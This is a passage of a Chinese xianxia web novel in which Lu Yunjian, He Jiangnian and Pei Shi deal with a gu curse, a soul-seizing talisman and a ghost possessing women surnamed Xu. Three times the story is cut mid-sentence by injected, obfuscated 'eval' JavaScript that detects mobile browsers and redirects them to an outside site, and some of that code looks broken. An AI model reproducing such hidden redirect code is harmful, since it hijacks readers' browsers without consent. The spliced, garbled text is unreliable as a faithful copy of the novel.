陆云笺看他揍得十分凶狠,心道:就算是变成一条身强体壮、活蹦乱跳的狗,你应该也不会放过她吧。 老太婆喘了几口气,还手道:“把你变成狗不错了,变成老鼠都是抬举你!” “你!你才是老鼠!”那人手下揍得更凶狠了,“你和那鬼魂什么关系!” “呸!”老太婆啐道,“老娘想帮就帮想救就救,关你屁事!” 一阵拳打脚踢,那人放开了鼻青脸肿的老太婆,从袖中摸出个小匣子,道:“死老妖婆,你老老实实开药铺子就算了,制蛊用蛊云间世都能睁一只眼闭一只眼,结果你居然和害人的鬼魂勾结,简直不可饶恕,还是跟我回云间世好好挨打吧。” 他站直了不动,陆云笺这才看清了他的脸,微微一惊:“贺、贺江年?!” 那少年一身暗紫,分明是个显得人沉稳的颜色,却偏叫他穿出了少年人的活泼,配上那一身金银配饰,倒是矜贵更甚。 只是他一开口,什么矜贵沉稳都不必提了,只有…… “哎,云笺,你还记得我啊!” 只有傻气。 陆云笺还没接话,忽然感到一道冷冷的目光自背后投来,一个激灵,连忙找补:“不不不记得啊,就经常听我哥提起你,我猜的。” 这话实在是胡说八道。 且不说修真界的陆明周完全没提过关于他半个字,其实他们在现代就是老朋友了。 现代的陆明周和贺江年是好一对狐朋狗友,一个吊儿郎当,一个浑身冒傻气。因此在修真界见着这么个熟悉的人,性子还与现代的他如出一辙,陆云笺其实是惊喜而感动的,就像老乡见老乡,就差上去拉手话家常了。 贺江年显然也惊喜:“陆明周提起我?怎么提的?” 陆云笺道:“……呃,也没说什么,就说你人性格好,好相处,然后很有本事,法术很厉害,说我有事可以找你帮忙……噢还说你喜欢穿紫色衣服。所以我才觉得你就是贺江年。” 贺江年听了半句就忍不住挥手道:“打住,陆明周能这么提我?可别了,云笺你是哪儿惹着他了吗?用得着这么帮他说话?” 陆云笺夸张地摆手道:“没有没有,实话实话。” 贺江年半信半疑地看了她一阵,抬手在封了老太婆的匣子上画了道符咒,又把匣子收进衣袖里,道:“我追鬼魂呢,这老妖婆不知道从哪里突然冒出来,也不知甩了个什么东西,起了片烟雾,不仅让那鬼魂跑了,还想把本公子抓回来炖汤……” 他愤愤然道:“不把她大卸八块才是便宜她!” 贺江年说着,返回角落里把仍然躺在地上的木头人偶、不倒翁、油纸伞都收起来,又欲去拍裴世的肩:“不好意思啊裴世,连累你个过路人了。 裴世并不想让他拍,抱着手闪到一边:“莫说是过路的了,好端端站在边上的不也变成人偶纸伞不倒翁了么?” 贺江年不好意思地挠挠头,道:“我把这些普通老百姓放到外面去就好了吧,过段时间他们应该会自己恢复的。你们接下来要做什么?回云间世吗?” “呃……”陆云笺本是冲着药材来的,但是现在掌柜都没了,只好道,“回吧。” 三人正要踏出药铺,贺江年却忽地大叫一声:“这什么东西!”他一掌轰出,那条缠上他小腿的蛇顿时飞了出去,由内而外爆体而亡。 扫视四周,这还没完,因为—— 因为,三人身后,无数奇形怪状乱七八糟的蛇鼠虫蚁正漫天乱舞、满地乱爬,朝他们袭来! 贺江年蹙眉拔出佩剑,一剑将扑面而来的蛇鼠虫蚁斩得灰飞烟灭:“这老妖婆真变态,怎么把她制蛊的鬼东西都放出来了!”那老太婆虽然已经被封了,但她定然是悄悄召动了附近所有的蛊虫蛊毒,偏不叫他们好过。 贺江年这一剑斩去,这些乱七八糟的东西竟在一瞬之间尽数灰飞烟灭,陆云笺不由得叹道:“江年,这是你的佩剑吗?真厉害。” 贺江年转过身,颇为骄傲地将自己的佩剑亮出来,纯白剑光映在他眸中,无端耀眼:“倒不是我的定契佩剑,它叫‘明澄’,是我师尊给我的,这可是全天下最好的剑!” 陆云笺心下了然:贺江年的剑是佩在身上的,并不像陆明周与裴世的剑那样即召即来,想来就是有没有定契的区别了。 贺江年将剑收入剑鞘,又好好地佩在身上,半是刻意半是自豪地补了一句:“我可是我师尊最喜欢,也是最厉害的徒弟。” 想来他这话不知说了多少遍,一旁裴世戏谑道:“你师尊座下不就你这一个徒弟么?” 贺江年正欲反驳,身后却忽然一凉,他下意识转头看去,而裴世已经一掌轰上,炸开了又一波蛇鼠虫蚁。 贺江年再度拔剑:“这东西怎么还有?还有完没完?!” 这些乱七八糟的东西没有一千也有八百,有的轰一遍还死不了,有的甚至死了还能活过来,如何也杀不尽,烦人得很。 陆云笺见前头两人又砍又轰,热火朝天,便不凑热闹,闪到后面,方便他们大展身手。 她正凝神观战,却不料袖中突然一动,锦盒掉了出来,一道金光蹿出,猛地钻入裴世的心脏! 裴世正轰尽了那群蛇鼠虫蚁,骤然被那东西一刺,不知是疼痛还是惊吓,微一踉跄。 陆云笺下意识去扶,可这实在是有些多余了,因为裴世立即稳住了身形,转头去看手腕。 他手腕上倏然出现了一圈黑色咒纹,仿若枷锁一般。 是戮心蛊的印记。 完了。 就算不是故意的,就算是戮心蛊受了那老妖婆的影响,但不管怎么看,都是从她袖子里钻出去,直接奔着裴世去的。 贺江年还在检查那些蛇鼠虫蚁的尸体,看有没有漏网之鱼,裴世已经转过了身,一步一步朝陆云笺逼近。 他走近一步,陆云笺便退一步:“对对对不起啊,我我我不是故意的……” 不是故意捏你的脸,更不是故意下戮心蛊。 裴世面上虽带着笑,笑容却十分虚假,令人不寒而栗,神色又极冷,陆云笺甚至怀疑他下一秒就要轰自己了。 但若是戮心蛊生效了,他若有杀意,她应该能感知到才对,为何一点感觉也没有?莫非裴世能对戮心蛊免疫?要真能免疫,在看到那道黑色印记的那一刻,他就该把它震碎了。 陆云笺正思考着各种乱七八糟的可能性,裴世却停了脚步,道:“陆小姐真这么怕我啊。” 陆云笺全然没想到他会如此说,一时没反应过来:“啊?我……” 裴世不等她说话,径自道:“陆小姐失了记忆,法术没学会什么,倒先学会给人下蛊了。” 陆云笺看不懂他心里在想什么,憋了好半天,只憋出了两个字:“……抱歉。” 裴世又是轻轻一笑,道:“有了这戮心蛊,陆小姐可安心了?” 陆云笺一怔。 却在此时,大救星贺江年检查完了那些要么爆浆要么碎裂的蛇鼠虫蚁,拍拍手,全然没感受到两人之间剑拔弩张的气氛,一脚插进中间,不明所以道:“你俩站这儿干吗?走啊,回云间世啊。” 这药铺子就在山脚镇子里,原本离云间世就不远,一路上陆云笺保持着尴尬的沉默,时不时瞄两眼裴世的反应,而裴世始终端着那副谁也看不懂的高深莫测的表情,不知是火山爆发的前奏,还是暴风雨降临前的平静。 只有贺江年一路嘴不停,十分积极地活跃着气氛: “哎云笺,你出关的时候我在外边没能赶回来,但我送了礼物的,你没怪我吧?” 陆云笺:“怎么会?没事没事。”她没好意思说,那时她都不知道修真界到底有没有贺江年这个人,更不用说纠结于他为什么不赶回来迎自己出关了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047594|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “哎裴世,我看你上回带回来的那个奇形怪状的草还挺有特色的,你出个价,我买你的呗?” 裴世:“没用,扔了。” “唉那有点可惜了,我第一次见长成那样的草。” 他一路扯些有的没的,走到云间世已是口干舌燥,抬头一看长长的数千级石阶,仰头长叹道:“怎么还有这么远——要不是传送通道会被扭曲,用得着这么走?我腿早麻了——” 传送阵与传送通道虽十分耗费灵力,但也非常方便,因此在追击邪祟时还算常用。 陆云笺听他这么说,微觉奇怪,道:“这传送通道怎么还会被扭曲?” 贺江年爬一阶石梯便喘一口气,道:“会啊。我之前追妖怪,在这附近开过传送通道,里面乌漆嘛黑的什么都没有,妖怪也不见了。可能是云间世结界太过强大,导致传送通道扭曲了吧。” 他说完便又嚎了起来,一路嚎到了云间世山顶中孚殿,好容易才安静下来。 中孚殿偏殿是云间世尊主办公之所,陆稷虽然已经出关,但全派事务仍然如他闭关时尽数交与陆明周处理,因此也就可以默认是陆明周的办公之所。 贺江年晃进门,端起案上茶盏猛灌了几大杯,强盗做派一度使得陆明周险些连手中的笔都掉在地上。 陆明周以手支额,一贯的疲倦姿态,无奈道:“江年,你怎么突然回来了?” 贺江年瘫在椅上,道:“别提了,我本来出完任务就想直接回来的,结果路上碰见个附身的鬼魂,我想着那就顺手收了吧,就跟着它,谁知道半路突然冲出来个老妖婆——就山脚下开药铺子那个,不知道甩了个什么东西出来,起了阵烟雾,鬼魂就不见了,还把我变成——” 他想起这事儿就不痛快,没再说下去,只把袖中匣子拿出来,扔在案上:“喏,老妖婆在这儿。” 陆明周看着那匣子,微微蹙眉:“药铺掌柜?那……” 话未说完,被贺江年强行扯来中孚殿的陆云笺便一脸恹恹地走了进来,陆明周转头道:“云笺,你……” 下一刻,裴世也进来了。他倒不是被贺江年扯来的,大约是也有任务情况需要向陆明周汇报。 陆明周便不说话了。 他收了那只封着老妖婆的匣子,又重新提起笔,道:“那说说任务情况吧。” 另外两人都有任务情况要汇报,陆云笺无事可做,觉得无聊,便拿出黄纸朱砂在一旁练习画符,画的还是她怎么也记不住的驱邪符。 画了几笔果然又卡了,怎么也想不起来下一步,正咬笔苦思,一旁忽地响起一个声音:“前几笔错了。” 陆云笺没想到裴世这么快就汇报完了,更没想到他会突然说话,一时没反应过来:“啊?” 裴世垂眸看着她手中符纸:“前几笔画错了,顺序也不对。” “啊……那怎么画来着?我想不起来了。” 裴世看她一眼,道:“纸笔给我。” 陆云笺看他一笔一划认认真真工工整整画着符咒,心中好奇,原本不想说话,但见裴世面色还算和善,还是问道:“像你们这种大神,是不是所有符咒画法都记得很熟,不管什么时候都能很快就画出来,还能立马就用啊?” 裴世笔一顿,道:“自然记得熟。不过符咒太弱,我一般不用。” “那用什么?” “法阵强点。若要说常用,自然是自己的法器。”裴世抬头看她,“陆小姐用自己的匕首不是也用得很熟么?” 陆云笺尴尬地笑笑:“没有没有。” 转眼间裴世已经将符咒画好了,陆云笺细细看了一遍、记了一遍,顺便拍了个马屁:“符咒画得越工整效果越好吗?裴公子画符咒都这么端正工整,当真令人钦佩。” “不是。”裴世道,“只是怕太潦草,陆小姐看不懂。” 陆云笺:“……” 裴世垂眸看着那符纸,道:“这符简单,陆小姐聪慧,该学些更难的。” 陆云笺:“??” 8. 摄心魄 陆云笺一时没反应过来,裴世便径自又提笔画符,还是一笔一划,工工整整。 他画完便摆在陆云笺眼前,道:“陆小姐不如先照着画一遍。” 陆云笺看那符咒长得奇形怪状,问道:“这是什么符?” 裴世道:“摄魂符,可感知人的心念,操控人的意志。此符虽看起来诡谲复杂,实则内有规律,陆小姐不如先画几遍,熟悉熟悉。” 陆云笺接过纸笔,边画边道:“摄魂?我学这个感觉也不太用得上啊。” 裴世道:“以备不时之需。” 陆云笺在裴世的监督下连画三张摄魂符,从最开始的歪歪扭扭到后面勉强可以称得上工整,甚感欣慰。 裴世盯着她画符,在她画完最后一笔时,突然说道:“不过此符有个局限,需得用在画符之人身上,否则没有效果。” 陆云笺微觉奇怪,陆明周却在此时唤她:“云笺,你来此,可有什么事要同我说?” 陆云笺一愣:“啊?我……” 随即便想起戮心蛊一事,但此时不方便说,因此还是道:“我没什么事啊。” 陆明周点头,道:“既如此,那江年说的这个鬼魂作祟,便由你与裴世一同前去处理吧。”这就是他已经知道陆云笺下了戮心蛊的意思了。 陆云笺正欲开口,贺江年却先她一步道:“那怎么行,这鬼魂是我发现的,我好不容易跟了一路呢!” 陆云笺忙配合点头:“是是是,这是江年的功劳。而且裴公子之前受了重伤,我的手也还没完全好,急不得急不得。” 她原本的确做好了英勇就义的准备,但如今阴差阳错下了戮心蛊,便又有些退缩。 裴世却起身道:“既是鬼魂作祟,自然要急。不如即日动身吧。” 陆明周也道:“裴世说的是。江年,鬼魂这边你放一放,你去和镜阳宗的季公子与季小姐一同调查溟海村的案子吧。” 贺江年眼睛一亮:“真的?” “骗你作甚。”陆明周扶额,“季衡今日与我通讯,说是那边需要一名擅追踪的修士,你既最擅追踪,不如与他们一同调查溟海村一案。” 贺江年不知为何似乎对参与调查溟海村这件事异常感兴趣,明明被陆明周一句话就给打发了,却居然还有些感恩戴德的意思。 得,这下是一对三,连刚刚的外援贺江年都指望不上了。 陆云笺无奈叹气,只得应允下来。 第二日草草用过早饭,陆明周送陆云笺到山脚,陆云笺拽着他的衣袖不想撒手,陆明周倒是没什么担忧之色,轻轻拍拍她的肩,大义灭亲般地把她推了出去。 山门外,裴世孑然独立,淡漠如常,似乎已经等候多时了。 由于老妖婆突然杀出导致那鬼魂不知所踪,因此二人只能前往贺江年最初发现鬼魂作案的地方调查。 二人一路并行,气氛十分沉闷,陆云笺踌躇许久,还是道:“裴公子,戮心蛊那事,真的很抱歉啊,我不是故意的,我后来……也没有找到解戮心蛊的办法,以后要是找到了,我一定第一时间把它解了。” 裴世停下脚步,皮笑肉不笑地看向她:“陆小姐要杀都毫不犹豫,小小一个戮心蛊罢了,想下不就下了?” 陆云笺几乎是下意识地脱口道:“我没……” “我没”什么,她说不出来了。 裴世不知何时在她背上轻轻拍了一下,她登时便动弹不得。 “不好意思,我并不是很想听陆小姐扯谎。” 陆云笺欲哭无泪,心道:不想听的话,也不能杀人灭口吧…… 裴世却是难得很有耐心,居然还有心思替她整理一下衣摆:“陆小姐不喜欢说实话,我就只好用摄魂符了。摄魂符虽然低阶,但好歹是出自陆小姐之手,陆小姐这次……应该说不了谎了吧。” 怪不得后来去收拾摆在桌上的黄纸时,自己画的那几张摄魂符全都不见了。当时走得急没细想,原来竟是被裴世收起来了。 陆云笺还在苦苦思索着应对之策,却忽觉眼前一黑、头晕目眩,仿佛意识被抽离一般,霎时对外界没了任何感知。 裴世静静站了片刻,看着陆云笺的眼睛变得空洞无神,又等了一会儿,才抛出第一个问题: “你叫什么名字?” 陆云笺乖乖回答:“陆云笺。” “你兄长叫什么名字?” “陆明周。” 方才两个问题是确认摄魂符是否生效,见陆云笺的确有问必答且十分迅速,似乎并无意识,裴世没觉得轻松,反倒更加紧张。 “那我问你,你从一开始就认识贺江年?” “认识啊,怎么不认识,老熟人了。”照样是答得毫不犹豫、无所隐瞒,连语气都和有意识的陆云笺别无二致。 裴世不自觉握紧拳头,又问:“你为什么认识他?” “他跟我哥玩得好,时不时就来找我哥玩儿,一来二去大家就都熟起来了。” 裴世微觉不对劲,却没心思去深究。 他眉间染上了些许他自己都没留意到的烦躁,换了个词:“你为什么会记得他?” 陆云笺蹙着眉,似乎非常疑惑:“我为什么会不记得他?” 不是陈述,竟是反问。 “好。”裴世笑了一声,不自知地倒退一步,双目死死盯着她,又问,“那我呢?你不记得我?” 陆云笺眉头蹙得更深了,盯着他看了好一会儿,最后说:“你是谁?我都没见过你,更不认识你,为什么会记得你?” 此言一出,便是宣判了死刑。 裴世几乎有些头晕目眩,踉跄几步,险些站不稳。他勉强稳住心神,又道:“我……” 却在此时,陆云笺使劲一晃脑袋,恢复了清醒。她背上那张摄魂符飘飘落地,化成了灰烬。 裴世面色一沉。 想必是因为陆云笺灵力不稳,所画符咒的有效时间比想象中要短得多。 陆云笺也怕自己在无意识的状态下说了什么不该说的,因此缓过神来第一句便下意识问道:“你问什么了?” 裴世自然不会回答她。 陆云笺搓着手,半小心试探半真情流露地说道:“裴公子啊,咱们不如打开天窗说亮话,这样试来试去的多累啊。再说了,我真没对你撒过什么谎,我……” 这头陆云笺絮絮叨叨,那头裴世却一句不听,沉着脸大步走到前面去了。 贺江年恰好碰上被鬼魂附身的人,因此才能一路追踪鬼魂,如今那鬼魂已经不知去向,二人手里的线索便只有那个被附身的人。 据贺江年说,他当时看见被附身那人差点当街杀人,情急之下用法术轰了一下,结果那人被轰出十几米远,当即断了气。当时有好心的邻居把死去的那名被附身的女子送回她家,贺江年才一心一意去追踪离了人体四处逃窜的鬼魂。 不过他也不知道被附身的那女子什么来历,只知道是姓许,住在—— 陆云笺敲了许久的门也没人应,正想说要不直接推门进去算了,一旁裴世却一抬脚,径直把门踹开了。 这一踹踹得屋门大敞,五六人横七竖八倒在门边,表情或惊或怕,看上去似乎都已经没命了,但又不像尸体那样毫无生机,总让人感觉还有一丝生气。 陆云笺吓得连连倒退,差点从台阶上摔下去。 裴世在门外站了片刻,上前察看。 没有呼吸,也没有脉搏。 他缓缓起身,道:“失魂。”据说失魂的人若能在十二时辰内找回魂魄,便仍有机会恢复意识,不过通常没人能做到,因此失魂与死亡无异。 正在这时,外面忽然传来一阵敲锣打鼓之声。 那是一支招魂队伍,为首两人高举招魂幡,后头跟着两列白衣道士,个个嘴里念念有词,中间的两名道士抬着一人,是一名年轻女子,脸色苍白,双目紧闭。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047595|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 招魂仪式本是为亡者准备,但民间百姓失了魂,总是想方设法地寻找丢失的魂魄,因此散修道士们对亡者的招魂仪式修修改改,发明了一套专门给刚失魂的、还能算是生人的人用的招魂仪式。 不过能请得起这些道士的,想必家境也还不错。 裴世哼道:“装神弄鬼的江湖骗术。” 那行人越走越近,就要从门前过了,二人走近了些,想去看看那女子的状况。 但招魂仪式正在进行,又怕贸然打断会起不必要的冲突,陆云笺正思索着要怎样才能不冒犯地去察看状况,那名被抬着的女子的指尖却微微一动。 陆云笺疑心是自己眼花了,然而下一刻那女子的手指甲暴长几寸,眨眼之间便将离她最近的那名道士穿腹而过! 大股鲜血从那道士腹中流出,周围的人都尖叫起来四下逃窜,裴世手中金光一闪,已提剑飞身而上。 那女子突然暴起连杀两人,行动极快,一瞬之间便已逃出百丈。 裴世追了几步,提剑便斩,金光从自那女子腰间闪过,在她凄厉的尖叫嘶吼间,身躯倏然从腰腹处断成了两截! 身体已死,鬼魂迫不得已从那女子的身体中逃出,一瞬便不见了踪影。没了人身的束缚,它的行动竟是更快了。 裴世又是一剑斩去,这一剑却因为那鬼魂闪避得极为灵敏,只伤了它分毫。他冷冷盯着那鬼魂的去处,一边追,一边抬起左手飞速画阵法。 不出片刻,阵法已成,传送通道落下,裴世一脚踏入,追了几步,却隐隐觉得不对。 寻常情况下,他开的传送通道不出十步便能追上目标,如今却只见一片漆黑,连那鬼魂的影子都没见到。 那鬼魂行动虽快,但终究只是寻常的鬼,仅仅只是比一般鬼魂快了些许,不应如此。 他略一思索,便不再去追,转身出了通道。 想必就是遇上了传送通道被扭曲的情况。只是没想到此处离云间世已有一段距离,这传送通道还是扭曲得如此厉害,连鬼魂的尾巴都全然追不上。 一出通道,便看见一群人围着那断成两截的尸体哭。 之前他肩膀被树妖贯穿的伤尚未痊愈,开传送通道又极耗灵力,因此刚出通道还有些头晕目眩,尚未看清那些人,一旁陆云笺上前拽住他:“裴世!怎么样?” “……”裴世微微一怔,勉强定住神,“传送通道被扭曲了,跑了。” “啊……”陆云笺愣了一瞬,“那你呢?你怎么样?” “什么?” “你看起来脸色似乎不太好啊。” 裴世垂眸抽回手,沉默一阵,忽然冒出没头没脑的一句:“陆小姐的手是好全了?” 这话带着些阴阳怪气的警告意味,陆云笺莫名其妙:“你这人……难不成你希望我一路上跟你仇人一样,吹胡子瞪眼看你?那任务还要不要做了?”说完又觉得这话说教意味有些重了,正欲再开口,裴世却转过头,淡淡地转了话题:“那些人什么情况?” 陆云笺也就顺着他的话:“应该都是被附身的那个女孩子家里的人,他们应该是一直跟着招魂队伍的。” 见裴世意欲上前,陆云笺又连忙拽住他往一边走:“先别去,待会儿等他们回去了,我们再跟上去。”裴世刚砍了人家的小姐,此时上前,若被认出来,免不了一场冲突。 陆云笺不好明说,只拽着裴世藏身到一处树丛后面,这次不等裴世抽回手,她自己先松手了。 等了片刻,那群人抬着尸体起身,最前头是一名衣着端庄的妇人,似是哭得快要昏厥过去,站都站不稳,靠人搀扶着才能勉强走路。 走了不到两里的路程,忽见一人奔出,跌跌撞撞跑到那妇人面前,大喊道:“夫人,老爷、老爷他——” 不等他说完,那妇人勉力跑了几步,看到家门大敞,门内已经乱作一团,有人晕倒,有人尖叫,有人夺门而出,皆是因为趴在院子中央的那具尸体。 9. 丧魂灵 那具尸体的形貌极为诡异,已经面目全非,只能看清他因为极度惊惧而瞪大的双眼,周身坑坑洼洼—— 的确是坑坑洼洼,布满了大大小小的血窟窿,有的窟窿还在汩汩往外流着血,有的却露出了皮肉之下的森森白骨。一只手狠狠抠进地面,用力到指甲都快要脱落,另一只手朝着门外伸出,像是求救,诡异至极。 走在后面的家丁尚未反应过来,裴世已经飞身而上,以迅雷不及掩耳之势出剑—— 这一剑,刺的是一个在角落躲躲闪闪、意欲奔逃的人。 那人隔得远,教人看不清脸,但看他的装扮,分明就是那招魂队伍里的一员! 这一剑出得快,但那人身手也快,一闪身,堪堪躲过,只被砍中了肩膀。那人反应迅猛,方稳住脚步,便立刻朝一旁树林中奔去。 裴世正欲去追,一人却死死抓住他的脚踝,声嘶力竭道:“你杀了我的女儿还想跑吗!!” 裴世低头,果然是跑在最前面的那名妇人。 她扯出一个诡异扭曲的笑容,一只手仍死死抓着他的脚踝,另一只手从背后探出,指甲暴长,猛地刺向他的心脏! 裴世眸色一冷,一手画了个阵法,另一手抬剑斩去,将那妇人身首分离。 谁知那附身的鬼魂狡猾得很,看到裴世抬手画阵法,知道他是要防止自己逃跑,便先一步脱离了那妇人的身体,再次逃之夭夭。 裴世也不再去追,翻手甩出一段红绳。那红绳利剑一般冲出去,追着那鬼魂,瞬时便不见了踪影。 再看门内和四周,已是横七竖八躺了一地的人,个个眼神呆滞,竟都是失魂。 走在后面的几个家丁看见这场面,都吓得手脚并用地逃走了,陆云笺感到头脑一阵晕眩,也没在意,上前道:“什么情况?” “都是失魂。”裴世抬手阻住陆云笺,“里面有人死了,别过去。” 陆云笺便停了步,道:“那接下来要做什么?” “我已经用通讯符通知了贺江年,他要不了多久就会到。” 陆云笺奇道:“叫贺江年做什么?”又让那鬼魂跑了,所以要搬救兵吗? “无论是失魂,还是里面死的那个,都与溟海村的案子如出一辙,那是季衡季瑶贺江年的事。拿一分钱办一分事,不关我们事的,掺和什么?” ……原来是撂挑子啊。 没等多久,一个紫色身影一闪,贺江年动作快得很,竟是一盏茶的功夫便到了。 他得意洋洋地招手道:“我快吧!”说着又转头面向裴世,“裴世,不容易啊,你居然给我传讯,我……” 裴世似乎仍是不太想搭理他,扫视一圈地上横七竖八躺着的人,道:“都是失魂的,里面那个也与溟海村是一样的情况。” 贺江年笑道:“这样啊,那多谢你提供这么重要的线索啊!” 裴世交代完便转身欲走,贺江年又问:“你们不是抓鬼魂吗?怎么……” 裴世似乎因为连续两次都让那鬼魂溜了而心情不畅,闻言面色一沉,更不想说话了。 陆云笺连忙道:“追着呢,地上那位夫人刚刚好像就是被它附身了,之前这家的女儿也被它附身过。” 贺江年看着那尸体,摸着下巴道:“这人好眼熟啊……” 片刻后,他恍然一拍脑袋:“这家人之前委托过云间世啊,结果后来事儿办成了又嫌最开始开出的价格贵,当着面不情不愿地付了钱,背后到处说云间世剥削压迫,闹了好一阵子。 “这么说来还真是巧,这家的女儿,好像也是姓许呢。” 都是十几岁的年轻女子。都姓许。 至于那名妇女被附身,多半是因为那鬼魂想要偷袭裴世。 那么,除去她,这是那两名被附身的女子仅有的共同点。 找了半天,敲响第三户的门时,已是日暮时分。 这是附近最后一户许姓人家,不如第一户人家那样住在街上,也不如第二户人家富有,稍微偏僻了些,找起来费了些工夫。 裴世扫视一圈周围环境,放出去追踪鬼魂的红绳刚好飘飘摇摇落回他手上,他道:“就在此处。”但是并不见那鬼魂的踪影。 陆云笺见那红绳虽然看着平平无奇,却是个厉害法器,不免好奇,问道:“这是什么法器?” 裴世道:“普通绳子罢了。” 正在此时,大门打开,开门的是个约莫三十岁的妇人,怀里抱着个四五岁的小女孩儿,尽管满面掩不住的愁苦,但还是勉强微笑着,客客气气地领二人进去了。 厅中已经坐了几个人,坐在上首的应当是男主人,下面坐着的三人,个个身穿白衣,一个拿桃木剑,一个持拂尘,一个怀里放着铜镜。 那三人看见裴陆二人,俱是往后一缩,紧张惊慌担忧,个个表情不同,十分精彩。 陆云笺悄悄一拉裴世的衣袖,轻声道:“好像是刚刚招魂队伍里的人。” 裴世嘴角微微一弯,向上首男主人行了个礼,在那三名道人对面坐下。 男主人道:“听内人说二位是云间世的仙君,不知仙君前来,所为何事?” 裴世道:“我们来此,怕是和这三位道长为的是同一件事。” 众人微微愕然,裴世边打量那三名道人边道:“先前有鬼魂作祟,先后有两名女子被附身,我们顺着线索查到此处。”他说着话锋一转,“不过我们只会捉鬼除妖,不会做法事,这些还是得劳烦三位道长。” 三名道人在街上看见了裴世砍人的架势,知道他是个真的会法术的,担心他拆穿自己,也不说话,只一个劲地点头。 男主人见他说的与那些道人所说大差不差,心中相信了几分,道:“有二位仙君和三位道长来此降妖除魔自然是好。只是这云间世是第一大门派,想必……” 陆云笺一听这开头就知道他是怕云间世开的价格太高,他承担不起,忙道:“云间世这次派我们来是为民除害,不收钱,不收钱。” 男主人闻言连声道谢,让女主人去做几个好菜好生招待。 女主人将怀里抱着的女孩儿放下,男主人捏捏那女孩儿的脸,道:“鄙人姓许名淮,这是小女儿,名叫茵茵。鄙人还有一大女儿,名叫媛媛,只是近日身体不便,不能出来迎接。” 陆云笺摆手道:“没事没事。” 那小女孩儿站在爹爹身边看了他们好一会儿,忽然跌跌撞撞跑到二人身边,陆云笺一把捞过她,摸摸她的脑袋,笑道:“茵茵好呀,这个名字好听!” 那小女孩儿也笑了,喊:“姐姐好!” 陆云笺对这种乖巧可爱又懂礼貌的小孩子毫无抵抗力,把人家头发揉得乱糟糟,那小女孩儿又挪了几步,对着裴世喊道:“哥哥也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16047596|179016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好!” 裴世睁大了眼睛,罕见地如临大敌。 那小女孩儿见他不说话,略显不安地盯着他,似乎想去拉他的手,裴世往后一闪,躲过了她还没来得及抬起的手。茵茵盯着他,面露委屈之色,眼眶里都有眼泪了。 陆云笺赶紧又把她一把捞过来,哄道:“茵茵不要伤心,那个……那个哥哥现在心情不太好,你不要怪他噢。” 茵茵缩在陆云笺怀里,眼睛还是盯着裴世不放,委屈巴巴地道:“可、可是,那个哥哥明明看起来很好说话。” 陆云笺心中又惊又疑,悄悄瞥了一眼裴世,冷不丁对上他的目光,下意识一哆嗦。这人分明看起来冷漠又凶狠,也不知道这小女孩儿是怎么看的。 茵茵低声嘀咕:“那个哥哥看起来和姐姐一样温柔好相处,我也不知道他心情不好……” 陆云笺没太听清,又问了一遍,茵茵却不说了,只埋着头说“对不起”。 见用言语是哄不好了,陆云笺拿出几颗糖递到茵茵手里,转移话题道:“刚刚好像听茵茵说起姐姐?” 茵茵看到糖,眼睛都亮起来了,道:“是的呀,不过姐姐最近心情不太好,一直待在房间里,连吃饭都不怎么和我们一起。” 陆云笺道:“那茵茵可不可以带我们去看看姐姐呀?” 茵茵看向许淮,得到同意后兴奋地拉起陆云笺的手就蹦蹦跳跳地往外走:“那陆姐姐要帮我安慰一下姐姐哦!” 宅子不大,出了门走几步就是几间卧房,茵茵拉着陆云笺到了一间房门口,陆云笺轻轻敲了几下门,等了一会儿,门才打开。 开门的是个十几岁的少女,小家碧玉的样子,只是满面愁色,并不那么活泼。 想来就是许媛媛了。 陆云笺笑着打招呼:“许小姐你好啊!”说完才觉不对,回头一看,却见裴世隔得远远的,并没有要进门的意思,只微一点头就转身走了。 陆云笺明白,这意思是许媛媛目前没问题,没失魂也没被附身。 许媛媛微微一笑,揉揉茵茵的头,打发她去院子里玩儿,请陆云笺进了门,道:“听家母说是云间世来的仙君,只是我身体不便,有失远迎了。” 陆云笺笑道:“许小姐太客气啦。” 这屋子狭小昏暗了些,陆云笺四下环顾屋内布置,并无什么特别之处,只是一处角落里燃着蜡烛,照亮了那方寸之地,其中景象却被屏风挡住了,不知是什么。 陆云笺道:“天色好像有些暗了,许小姐怎么不点灯?” 许媛媛道:“这便点了。”说着点燃烛台,烛光照亮整间屋子,藏在屏风后的那一点地方也被彻底照亮了。 那里供着一尊小小佛像。 想不到在修真世界,也是有百姓信仰神佛的。 陆云笺瞥到桌上似乎放着一枚护身符,便问:“许小姐也是听说最近街上发生的事了吗?” 许媛媛闻言,神色一黯。 陆云笺忙道:“不是不是,许小姐你不要怕啊,我们来就是为了抓那个鬼魂的,我们肯定好好护着你,你别太担心。” 许媛媛却摇头道:“不是因为那件事。” 陆云笺道:“那是因为……” 